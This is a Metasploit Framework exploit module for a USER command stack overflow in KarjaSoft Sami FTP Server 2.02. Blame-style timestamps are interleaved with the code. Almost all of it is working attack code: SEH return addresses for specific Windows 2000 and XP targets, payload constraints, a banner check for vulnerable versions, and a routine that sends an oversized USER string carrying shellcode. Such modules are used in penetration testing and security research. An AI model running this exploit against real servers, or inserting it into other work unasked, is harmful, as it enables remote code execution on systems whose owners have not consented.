2008-03-17 14:23:01 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-03-17 14:23:01 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2010-04-30 08:40:19 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-03-17 14:23:01 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2008-03-17 14:23:01 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2008-03-17 14:23:01 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2008-03-17 14:23:01 +00:00
|
|
|
'Name' => 'KarjaSoft Sami FTP Server v2.02 USER Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits the KarjaSoft Sami FTP Server version 2.02
|
2008-03-17 14:23:01 +00:00
|
|
|
by sending an excessively long USER string. The stack is overwritten
|
|
|
|
when the administrator attempts to view the FTP logs. Therefore, this exploit
|
|
|
|
is passive and requires end-user interaction. Keep this in mind when selecting
|
|
|
|
payloads. When the server is restarted, it will re-execute the exploit until
|
|
|
|
the logfile is manually deleted via the file system.
|
|
|
|
},
|
|
|
|
'Author' => [ 'patrick' ],
|
|
|
|
'Arch' => [ ARCH_X86 ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Stance' => Msf::Exploit::Stance::Passive,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
# This exploit appears to have been reported multiple times.
|
|
|
|
[ 'CVE', '2006-0441'],
|
|
|
|
[ 'CVE', '2006-2212'],
|
|
|
|
[ 'OSVDB', '25670'],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'BID', '16370'],
|
|
|
|
[ 'BID', '22045'],
|
|
|
|
[ 'BID', '17835'],
|
2008-03-17 14:23:01 +00:00
|
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/1448'],
|
|
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/1452'],
|
|
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/1462'],
|
|
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/3127'],
|
|
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/3140'],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'seh',
|
2010-04-30 08:40:19 +00:00
|
|
|
},
|
2008-03-17 14:23:01 +00:00
|
|
|
'Platform' => ['win'],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 300,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x20\xff",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Targets' =>
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
|
|
|
[ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll
|
|
|
|
[ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd11a9 } ], # p/p/r ws2help.dll
|
|
|
|
[ 'Windows 2000 Pro All - French', { 'Ret' => 0x74fa12bc } ], # p/p/r ws2help.dll
|
|
|
|
[ 'Windows XP SP0/1 - English', { 'Ret' => 0x71aa32ad } ], # p/p/r ws2help.dll
|
|
|
|
],
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Jan 24 2006'))
|
2008-03-17 14:23:01 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
2008-03-17 14:23:01 +00:00
|
|
|
[
|
|
|
|
Opt::RPORT(21),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
|
|
|
banner = sock.get(-1,3)
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
if (banner =~ /Sami FTP Server 2.0.2/)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
sploit = Rex::Text.rand_text_alphanumeric(596) + generate_seh_payload(target.ret)
|
|
|
|
|
|
|
|
login = "USER #{sploit}\r\n"
|
|
|
|
login << "PASS " + Rex::Text.rand_char(payload_badchars)
|
|
|
|
|
|
|
|
sock.put(login + "\r\n")
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|